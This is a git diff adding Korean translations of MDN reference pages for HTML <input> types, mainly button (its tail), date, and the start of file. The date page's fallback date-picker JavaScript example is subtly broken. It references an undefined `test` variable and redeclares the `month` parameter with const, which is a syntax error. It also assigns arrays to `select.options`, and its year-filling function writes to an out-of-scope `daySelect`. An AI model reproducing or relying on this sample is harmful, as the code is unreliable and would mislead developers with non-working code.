+  curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+  pressed = true;
+};
+
+canvas.onmouseup = function() {
+  pressed = false;
+}
+
+clearBtn.onclick = function() {
+  ctx.fillStyle = 'rgb(0,0,0)';
+  ctx.fillRect(0,0,width,height);
+}
+
+function draw() {
+  if(pressed) {
+    ctx.fillStyle = colorPicker.value;
+    ctx.beginPath();
+    ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+    ctx.fill();
+  }
+
+  requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>{{EmbedLiveSample("예제", '100%', 600)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-button")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} 요소와 그 인터페이스 {{domxref("HTMLInputElement")}}.</li>
+ <li>보다 현대적인 {{HTMLElement("button")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/input/date/index.html b/files/ko/web/html/element/input/date/index.html
new file mode 100644
index 0000000000..43675823de
--- /dev/null
+++ b/files/ko/web/html/element/input/date/index.html
@@ -0,0 +1,497 @@
+---
+title: <input type="date">
+slug: Web/HTML/Element/Input/date
+tags:
+  - Element
+  - HTML
+  - HTML forms
+  - Input
+  - Input Element
+  - Input Type
+  - Reference
+translation_of: Web/HTML/Element/input/date
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>date</code></strong> 유형의 {{HTMLElement("input")}} 요소는 유효성 검증을 포함하는 텍스트 상자 또는 특별한 날짜 선택 인터페이스를 사용해 날짜를 입력할 수 있는 입력 칸을 생성합니다.</span></p>
+
+<p>입력 칸의 값은 연, 월, 일을 포함하지만 시간은 포함하지 않습니다. {{HTMLElement("input/time", "time")}}과 {{HTMLElement("input/datetime-local", "datetime-local")}} 입력 유형이 시간과 시간+날짜 조합을 지원합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>입력 UI는 브라우저마다 다릅니다. {{anch("브라우저 호환성")}}에서 더 자세한 정보를 알아보세요. 날짜 입력 유형을 지원하지 않는 브라우저에서는 우아하게 <code><a href="/ko/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>로 저하됩니다.</p>
+
+<p>날짜 선택을 위한 별도의 인터페이스를 갖춘 브라우저 중, Chrome과 Opera는 다음과 같은 모양의 달력을 보여줍니다.</p>
+
+<p><img alt="A textbox containing “dd/mm/yyyy”, an increment/decrement button combo, and a downward arrow that opens into a calendar control." src="https://mdn.mozillademos.org/files/14909/date-picker-chrome.png" style="display: block; height: 220px; margin: 0px auto; width: 275px;"></p>
+
+<p>구 Edge의 컨트롤입니다.</p>
+
+<p><img alt="A textbox containing “mm/dd/yyyy”, but when interacted with, opens a tri-column date selector." src="https://mdn.mozillademos.org/files/14911/date-picker-edge.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Firefox의 날짜 컨트롤입니다.</p>
+
+<p><img alt="Another “dd/mm/yyyy” textbox that expands into a selectable calendar control." src="https://mdn.mozillademos.org/files/15644/firefox_datepicker.png" style="display: block; margin: 0 auto;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("값")}}</strong></td>
+   <td>YYYY-MM-DD 형식으로 날짜를 나타내거나, 빈 {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>이벤트</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}}, {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>지원하는 공통 특성</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL 특성</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>메서드</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>날짜 입력 칸의 값은 입력한 날짜를 나타내는 {{domxref("DOMString")}}입니다. 날짜는 유효한 날짜 문자열 문서에서 설명하듯, ISO8601을 따르는 서식을 취합니다.</p>
+
+<p>{{htmlattrxref("value", "input")}} 특성에 날짜를 지정해서 입력 칸의 기본값을 지정할 수 있습니다.</p>
+
+<pre class="brush: html">&lt;input type="date" value="2017-06-01"&gt;</pre>
+
+<p>{{EmbedLiveSample('값', 600, 40)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>표시 값과 실제 <code>value</code>의 불일치</strong> — 입력 칸에 표시되는 값은 사용자 브라우저의 로케일에 기반한 서식을 따라가지만, <code>value</code>는 항상 <code>yyyy-mm-dd</code>의 서식을 사용합니다.</p>
+</div>
+
+<p>입력 요소의 날짜 값은 JavaScript의 {{domxref("HTMLInputElement.value", "value")}}와 {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} 속성으로 설정할 수도 있습니다. 다음 예제 코드를 보세요.</p>
+
+<pre class="brush: js">var dateControl = document.querySelector('input[type="date"]');
+dateControl.value = '2017-06-01';
+console.log(dateControl.value); // prints "2017-06-01"
+console.log(dateControl.valueAsNumber); // prints 1496275200000, a UNIX timestamp</pre>
+
+<p>위의 코드는 <code>type</code>이 <code>date</code>인 첫 번째 {{HTMLElement("input")}} 요소를 찾아서, 값을 <code>2017-06-01</code>로 설정합니다. 그리고 값을 다시 문자열과 숫자 형태로 가져옵니다.</p>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>모든 {{htmlelement("input")}} 요소의 공용 특성 외에도, <code>date</code> 유형은 아래의 특성도 지원합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>허용하는 가장 늦은 날짜</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>허용하는 가장 이른 날짜</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>위/아래 조절 버튼을 눌렀을 때와, 날짜 유효성을 검증할 때 사용하는 스텝 간격.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>받을 수 있는 제일 나중 날짜. 입력받은 {{htmlattrxref("value", "input")}}가 <code>max</code>보다 더 나중이라면 유효성 검증에 실패합니다. <code>max</code>의 값이 <code>yyyy-mm-dd</code> 형식의 유효한 날짜 문자열이 아니면 최댓값을 지정하지 않은 것으로 간주합니다.</p>
+
+<p><code>max</code>와 <code>min</code> 특성을 모두 사용할 경우, <code>max</code>는 <code>min</code>과 <strong>동일하거나 이후</strong>인 날짜 문자열이어야 합니다.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>받을 수 있는 제일 이전 날짜. 입력받은 {{htmlattrxref("value", "input")}}가 <code>min</code>보다 더 이전이라면 유효성 검증에 실패합니다. <code>min</code>의 값이 <code>yyyy-mm-dd</code> 형식의 유효한 날짜 문자열이 아니면 최솟값을 지정하지 않은 것으로 간주합니다.</p>
+
+<p><code>max</code>와 <code>min</code> 특성을 모두 사용할 경우, <code>min</code>은 <code>max</code>와 <strong>동일하거나 이전</strong>인 날짜 문자열이어야 합니다.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p><code>date</code> 입력 칸의 <code>step</code> 값은 날짜 단위, 즉 밀리초 단위로 86,400,000 ✕ <code>step</code>로 처리합니다. 기본값은 1로, 하루를 나타냅니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>date</code> 입력 칸에서 <code>step</code>의 값으로 <code>any</code>를 지정하면 <code>1</code>과 같습니다.</p>
+</div>
+
+<h2 id="날짜_입력_칸_사용하기">날짜 입력 칸 사용하기</h2>
+
+<p>날짜 입력 칸은 꽤 편리하게 보입니다. 날짜를 선택할 수 있는 쉬운 인터페이스를 제공하고, 서버로 값을 전송할 땐 현재 사용자의 로케일과 관계 없이 정규화하니까요. 그러나, 지금은 제한적인 브라우저 지원으로 인한 문제가 존재합니다.</p>
+
+<p>이 구획에서는 <code>&lt;input type="date"&gt;</code>의 기본 사용법과 복잡한 사용법을 살펴볼 것이고, 뒤에서는 브라우저 지원 문제를 처리할 때 사용할 수 있는 조언을 드리겠습니다. ({{anch("미지원 브라우저 처리하기")}}로 가세요.)</p>
+
+<div class="blockIndicator note">
+<p>모든 브라우저에서 날짜 입력 칸을 지원하는 날이 오면 이 문제도 자연스럽게 사라질 것입니다.</p>
+</div>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p><code>&lt;input type="date"&gt;</code>의 가장 간단한 사용법은 아래 코드처럼 하나의 <code>&lt;input&gt;</code>과 그 {{htmlelement("label")}}로 이뤄집니다.</p>
+
+<pre class="brush: html">&lt;form action="https://example.com"&gt;
+  &lt;label&gt;
+    Enter your birthday:
+    &lt;input type="date" name="bday"&gt;
+  &lt;/label&gt;
+
+  &lt;p&gt;&lt;button&gt;Submit&lt;/button&gt;&lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('기본_예제', 600, 40)}}</p>
+
+<p>위의 HTML은 입력받은 날짜를 <code>bday</code>라는 키로 <code>https://example.com</code>에 제출합니다. 그래서, 최종 URL은 <code>https://example.com/?bday=1955-06-08</code>이 됩니다.</p>
+
+<h3 id="최대와_최소_날짜_설정">최대와 최소 날짜 설정</h3>
+
+<p>{{htmlattrxref("min", "input")}}과 {{htmlattrxref("max", "input")}} 특성을 사용하면 사용자가 선택할 수 있는 날짜를 제한할 수 있습니다. 다음 코드에서는 최소 날짜 <code>2017-04-01</code>, 최대 날짜 <code>2017-04-30</code>을 지정합니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="party"&gt;Choose your preferred party date:
+    &lt;input type="date" name="party" min="2017-04-01" max="2017-04-30"&gt;
+  &lt;/label&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('최대와_최소_날짜_설정', 600, 40)}}</p>
+
+<p>실행 결과에서 2017년 4월의 날짜만 선택 가능함을 볼 수 있습니다. 입력 칸의 연과 월은 편집이 불가능해지며, 날짜 선택 위젯에서도 2017년 4월 바깥의 날짜는 선택할 수 없습니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 원래 {{htmlattrxref("step", "input")}} 특성을 사용해 날짜를 증감할 때 늘어날 일 수를 조절할 수 있어야 하고, 이를 이용해 토요일만 선택 가능하게 하는 등의 처리가 가능해야 합니다. 그러나 지금은 아무 브라우저에서도 구현하고 있지 않습니다.</p>
+</div>
+
+<h3 id="입력_칸_크기_조절">입력 칸 크기 조절</h3>
+
+<p><code>&lt;input type="date"&gt;</code>는 {{htmlattrxref("size", "input")}} 등의 크기 조절 특성을 지원하지 않습니다. <a href="/ko/docs/Web/CSS">CSS</a>를 사용하세요.</p>
+
+<h2 id="유효성_검사">유효성 검사</h2>
+
+<p><code>&lt;input type="date"&gt;</code>는 기본값에선 값의 형식 외에 다른 유효성 검사는 수행하지 않습니다. 보통 날짜 입력 칸의 인터페이스가 날짜 이외의 값을 처음부터 허용하지 않는 것이 유용하긴 하나, 아무 값을 입력하지 않을 수도 있고, 미지원 브라우저에서 텍스트 입력 칸으로 대체된 경우 4월 32일처럼 유효하지 않은 날짜도 입력할 수 있습니다.</p>
+
+<p>{{htmlattrxref("min", "input")}}과 {{htmlattrxref("max", "input")}}를 사용해 가능한 날짜 범위를 제한({{anch("최대와 최소 날짜 설정")}})한 경우, 지원하는 브라우저에서는 범위 밖의 값을 받았을 때 오류를 표시합니다. 그러나 브라우저가 온전히 지원하지 않을 수도 있기 때문에, 제출받은 값을 이중으로 검증하는 것이 필요합니다.</p>
+
+<p>{{htmlattrxref("required", "input")}} 특성을 사용해 값을 필수로 요구할 수도 있으며, 빈 입력 칸을 제출하려고 하면 오류를 표시합니다. required는 대부분의 브라우저에서, 텍스트 입력 칸으로 대체되더라도 지원하고 있습니다.</p>
+
+<p>최소/최대 날짜와 필수 검증 예제를 보겠습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label&gt;
+    Choose your preferred party date (required, April 1st to 20th):
+    &lt;input type="date" name="party" min="2017-04-01" max="2017-04-20" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/label&gt;
+
+  &lt;p&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>날짜 입력 칸의 입력을 완전히 끝내지 않았거나, 범위 밖의 값으로 제출을 시도하면 브라우저가 오류를 표시하는 것을 확인할 수 있습니다. 아래 실행 결과에서 직접 해보세요.</p>
+
+<p>{{EmbedLiveSample('유효성_검사', 600, 100)}}</p>
+
+<p>지원하지 않는 브라우저를 사용하시는 경우엔 다음 스크린샷을 참고하세요.</p>
+
+<p><img alt="The input field has an overlaid speech balloon, with an orange exclamation mark icon and the message “Please fill in this field.”" src="https://mdn.mozillademos.org/files/14913/date-picker-chrome-error-message.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>다음은 위 코드에서 사용한 CSS로, {{cssxref(":valid")}}와 {{cssxref(":invalid")}} 의사 클래스를 사용해 입력한 값의 유효성 여부에 따라 다른 스타일을 적용하고 있습니다. 구체적으로는, 유효성에 따라 입력 칸의 옆에 배치한 {{htmlelement("span")}}에 아이콘을 추가합니다.</p>
+
+<pre class="brush: css">label {
+  display: flex;
+  align-items: center;
+}
+
+span::after {
+  padding-left: 5px;
+}
+
+input:invalid + span::after {
+  content: '✖';
+}
+
+input:valid+span::after {
+  content: '✓';
+}</pre>
+
+<div class="warning">
+<p><strong>중요</strong>: 클라이언트측 유효성 검사는 서버의 검사를 대체할 수 없습니다. HTML을 수정하는 것도 쉽지만, HTML을 완전히 우회하고 서버에 데이터를 직접 제출할 수도 있기 때문입니다. 서버가 받은 데이터의 검증을 하지 못하는 경우 잘못된 형식, 잘못된 유형, 너무 큰 데이터 등으로 인해 심각한 상황을 맞을 수도 있습니다.</p>
+</div>
+
+<h2 id="미지원_브라우저_처리하기">미지원 브라우저 처리하기</h2>
+
+<p>위에서 언급했듯, 현재 날짜 입력 칸의 큰 문제는 {{anch("브라우저 호환성", "브라우저 지원")}}입니다. 예를 하나 들자면, Firefox for Android의 날짜 입력기는 다음과 같은 모습입니다.</p>
+
+<p><img alt="A popup calendar picker modal floats above the web page and browser UI." src="https://mdn.mozillademos.org/files/14915/date-picker-fxa.png" style="display: block; margin: 0 auto;"></p>
+
+<p>지원하지 않는 브라우저에서는 단순한 텍스트 입력 칸으로 우아하게 저하되긴 하지만, 이는 (보여지는 컨트롤이 다르므로) 사용자 인터페이스와 데이터 처리가 일관적이지 못하다는 문제를 만듭니다.</p>
+
+<p>두 문제 중 데이터 처리가 더 심각합니다. 날짜 입력 칸을 지원하는 브라우저에서는 값을 <code>yyyy-mm-dd</code>의 형식으로 정규화합니다. 그러나 텍스트 입력만으로는 값의 형식을 브라우저가 알 수 없으며, 사람들은 다양한 형태로 날짜를 입력합니다. 다음은 그 일부입니다.</p>
+
+<ul>
+ <li><code>yymmdd</code></li>
+ <li><code>yyyymmdd</code></li>
+ <li><code>yyyy/mm/dd</code></li>
+ <li><code>yyyy-mm-dd</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+</ul>
+
+<p>해결하는 방법 중 하나는 날짜 입력 칸에 {{htmlattrxref("pattern", "input")}} 특성을 사용하는 것입니다. 날짜 입력 칸은 사용하지 않는 특성이지만 텍스트 입력 칸으로 대체된 경우에는 사용하기 때문인데, 미지원 브라우저에서 다음 코드를 확인해보세요.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="bday"&gt;Enter your birthday:
+    &lt;input type="date" name="bday" required pattern="\d{4}-\d{2}-\d{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/label&gt;
+  &lt;p&gt;
+    &lt;button&gt;Submit&lt;/button&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('미지원_브라우저_처리하기', 600, 100)}}</p>
+
+<p>입력한 값을 패턴 <code>####-##-##</code> (<code>#</code>은 0에서 9까지의 숫자)에 맞추지 않고 제출해보면 브라우저가 날짜 입력 칸을 강조하며 오류를 표시함을 볼 수 있습니다. 물론 아직도 사람들이 유효하지 않은 날짜나 잘못된 형태로 입력하는 것은 막을 수 없으므로, 문제를 해결한 것은 아닙니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">span {
+  position: relative;
+}
+
+span::after {
+  right: -18px;
+  position: absolute;
+}
+
+input:invalid + span::after {
+  content: '✖';
+}
+
+input:valid + span::after {
+  content: '✓';
+}</pre>
+</div>
+
+<p>그러므로 지금으로서는, 크로스 브라우저 날짜 처리를 지원하기 위한 가장 좋은 방법은 각각 다른 입력 칸에 연, 월, 일을 입력하도록 하는 방법과, 외부 JavaScript 라이브러리를 사용하는 편이 최선입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>이번 예제에서는 날짜를 선택할 수 있는 사용자 인터페이스 두 개를 만들어보겠습니다. 첫 번째는 네이티브 <code>&lt;input type="date"&gt;</code> 입력 칸을 사용한 것이고, 두 번째는 네이티브 입력 칸을 지원하지 않는 구형 브라우저에서 사용할 수 있도록 세 개의 {{htmlelement("select")}} 요소를 이용한 것입니다.</p>
+
+<p>{{EmbedLiveSample('예제', 600, 100)}}</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML은 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label class="nativeDatePicker"&gt;Enter your birthday:
+    &lt;input type="date" name="bday"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/label&gt;
+
+  &lt;fieldset class="fallbackDatePicker" hidden&gt;
+    &lt;legend class="fallbackLabel"&gt;Enter your birthday:&lt;/legend&gt;
+
+    &lt;label&gt;
+      Day:
+      &lt;select name="day"&gt;&lt;/select&gt;
+    &lt;/label&gt;
+
+    &lt;label&gt;
+      Month:
+      &lt;select name="month"&gt;
+        &lt;option&gt;January&lt;/option&gt;
+        &lt;option&gt;February&lt;/option&gt;
+        &lt;option&gt;March&lt;/option&gt;
+        &lt;option&gt;April&lt;/option&gt;
+        &lt;option&gt;May&lt;/option&gt;
+        &lt;option&gt;June&lt;/option&gt;
+        &lt;option&gt;July&lt;/option&gt;
+        &lt;option&gt;August&lt;/option&gt;
+        &lt;option&gt;September&lt;/option&gt;
+        &lt;option&gt;October&lt;/option&gt;
+        &lt;option&gt;November&lt;/option&gt;
+        &lt;option&gt;December&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/label&gt;
+
+    &lt;label&gt;
+      Year:
+      &lt;select name="year"&gt;&lt;/select&gt;
+    &lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>월은 변하지 않으므로 하드코딩합니다. 일과 연은 현재 선택 값에 따라 동적으로 생성하도록 비워놓습니다. (자세한 설명은 아래의 코드 주석을 참고하세요.)</p>
+
+<div class="hidden">
+<pre class="brush: css">span {
+  padding-left: 5px;
+}
+
+input:invalid + span::after {
+  content: '✖';
+}
+
+input:valid + span::after {
+  content: '✓';
+}</pre>
+</div>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>코드에서 관심을 가질만한 곳은 브라우저의 <code>&lt;input type="date"&gt;</code> 지원 여부를 알아내기 위한 기능 탐지 부분입니다.</p>
+
+<p>우선 새로운 {{htmlelement("input")}} 요소를 만들고, <code>type</code>을 <code>date</code>로 설정해봅니다. 그리고 즉시 <code>&lt;input&gt;</code>의 유형을 검사하는데, 지원하지 않는 브라우저에서 <code>date</code>는 <code>text</code>로 대체되므로 <code>text</code>를 반환합니다. <code>&lt;input type="date"&gt;</code>을 지원하지 않는다는 사실을 알아냈으면 네이티브 입력 칸을 숨기고, 대체 요소({{htmlelement("select")}})를 대신 노출합니다.</p>
+
+<pre class="brush: js">// define variables
+var nativePicker = document.querySelector('.nativeDatePicker');
+var fallbackPicker = document.querySelector('.fallbackDatePicker');
+
+var yearSelect = document.querySelector('[name=year]');
+var monthSelect = document.querySelector('[name=month]');
+
+// Test whether a new date input falls back to a text input
+var testElement = document.createElement('input');
+
+try {
+  test.type = 'date';
+} catch (e) {
+  console.log(e.description);
+}
+
+// If it does, run the code inside the if () {} block
+if (testElement.type === 'text') {
+  // hide the native picker and show the fallback
+  nativePicker.hidden = true;
+  fallbackPicker.hidden = false;
+
+  // populate the days and years dynamically
+  // (the months are always the same, therefore hardcoded)
+  populateDays(monthSelect.value);
+  populateYears();
+}
+
+function populateDays(month) {
+  const daySelect = document.querySelector('[name=day]');
+  const month = monthSelect.value;
+
+  // Create variable to hold new number of days to inject
+  let dayNum;
+
+  // 31 or 30 days?
+  switch (month) {
+    case 'April': case 'June': case 'September': case 'November':
+      dayNum = 30;
+    break;
+    case 'February':
+      // If month is February, calculate whether it is a leap year or not
+      const year = yearSelect.value;
+      const isLeap = new Date(year, 1, 29).getMonth() === 1;
+      dayNum = isLeap ? 29 : 28;
+    break;
+    default:
+      dayNum = 31;
+  }
+
+  // inject the right number of new &lt;option&gt;s into the &lt;select&gt;
+  daySelect.options = Array.from({ length: dayNum }, function(index) {
+    return index + 1;
+  });
+
+  // if previous day has already been set, set daySelect's value
+  // to that day, to avoid the day jumping back to 1 when you
+  // change the year
+  if (previousDay) {
+    daySelect.value = previousDay;
+
+    // If the previous day was set to a high number, say 31, and then
+    // you chose a month with fewer days in it (like February),
+    // this code ensures that the highest day available
+    // is selected, rather than showing a blank daySelect
+    if (previousDay &gt; daySelect.length + 1) {
+      daySelect.selectedIndex = daySelect.length;
+    }
+  }
+}
+
+function populateYears() {
+  // get this year as a number
+  var year = (new Date()).getFullYear();
+
+  // Make this year and the 100 years before it available in the &lt;select&gt;
+  daySelect.options = Array.from({ length: 100 }, function(index) {
+    return index + year;
+  });
+}
+
+// when the month or year &lt;select&gt; values are changed, rerun populateDays()
+// in case the change affected the number of available days
+yearSelect.onchange = populateDays;
+monthSelect.onchange = populateDays;
+
+// preserve day selection
+var previousDay;
+
+// update what day has been set to previously
+// see end of populateDays() for usage
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 어떤 연도는 53주임을 기억하세요! (<a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">Wikipedia</a>) 프로덕션 애플리케이션을 개발할 땐 고려해야 할 사항입니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#date-state-(type=date)', '&lt;input type="date"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.input.input-date")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>일반 {{HTMLElement("input")}} 요소와, 그 인터페이스인 {{domxref("HTMLInputElement")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/input/file/index.html b/files/ko/web/html/element/input/file/index.html
new file mode 100644
index 0000000000..a58f988d17
--- /dev/null
+++ b/files/ko/web/html/element/input/file/index.html
@@ -0,0 +1,509 @@
+---
+title: <input type="file">
+slug: Web/HTML/Element/Input/file
+tags:
+  - HTML
+  - HTML forms
+  - Input Type
+  - Reference
+  - 파일
+translation_of: Web/HTML/Element/input/file
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong><code>file</code></strong> 유형의 {{htmlelement("input")}} 요소에는 저장 장치의 파일을 하나 혹은 여러 개 선택할 수 있습니다. 그 후, <a href="/ko/docs/Learn/HTML/Forms">양식을 제출</a>해 서버로 전송하거나, <a href="/ko/docs/Web/API/File/Using_files_from_web_applications">File API</a>를 사용한 JavaScript 코드로 조작할 수 있습니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-file.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("값")}}</strong></td>
+   <td>선택한 파일의 경로를 나타내는 {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>이벤트</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}}, {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td>
+    <p><strong>지원하는 공통 특성</strong></p>
+   </td>
+   <td>{{htmlattrxref("required", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>추가 특성</strong></td>
+   <td>{{htmlattrxref("accept", "input/file")}}, {{htmlattrxref("capture", "input/file")}}, {{htmlattrxref("files", "input/file")}}, {{htmlattrxref("multiple", "input/file")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL 특성</strong></td>
+   <td><code>files</code>, <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>DOM 인터페이스</strong></td>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+  <tr>
+   <td><strong>메서드</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="값">값</h2>
+
+<p>파일 입력 칸의 {{htmlattrxref("value", "input")}} 특성은 선택한 파일의 경로를 나타내는 {{domxref("DOMString")}}을 담습니다. 사용자가 여러 개의 파일을 선택한 경우 <code>value</code>는 파일 목록의 첫 번째 파일을 가리키며, 나머지 파일은 요소의 {{domxref("HTMLInputElement.files")}} 속성으로 가져올 수 있습니다.</p>
+
+<div class="note"><strong>참고:</strong>
+
+<ol>
+ <li>아직 아무런 파일도 선택하지 않은 경우 빈 문자열(<code>""</code>)을 사용합니다.</li>
+ <li>악의적인 소프트웨어가 사용자의 파일 구조를 알아내는 것을 방지하기 위해, 값 문자열은 항상 <a href="https://html.spec.whatwg.org/multipage/input.html#fakepath-srsly">C:\fakepath\를 앞에 포함</a>합니다.</li>
+</ol>
+</div>
+
+<h2 id="추가_특성">추가 특성</h2>
+
+<p>모든 {{htmlelement("input")}} 요소의 공용 특성 외에도, <code>file</code> 유형은 아래의 특성도 지원합니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("accept")}}</code></td>
+   <td>허용하는 파일 유형을 나타내는 하나 이상의 {{anch("고유 파일 유형 지정자")}}</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("capture")}}</code></td>
+   <td>이미지 또는 비디오 데이터를 캡처할 때 사용할 방법</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("files")}}</code></td>
+   <td>선택한 파일을 나열하는 {{domxref("FileList")}}</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("multiple")}}</code></td>
+   <td>지정할 경우 사용자가 여러 개의 파일을 선택할 수 있음</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefaccept">{{htmlattrdef("accept")}}</h3>
+
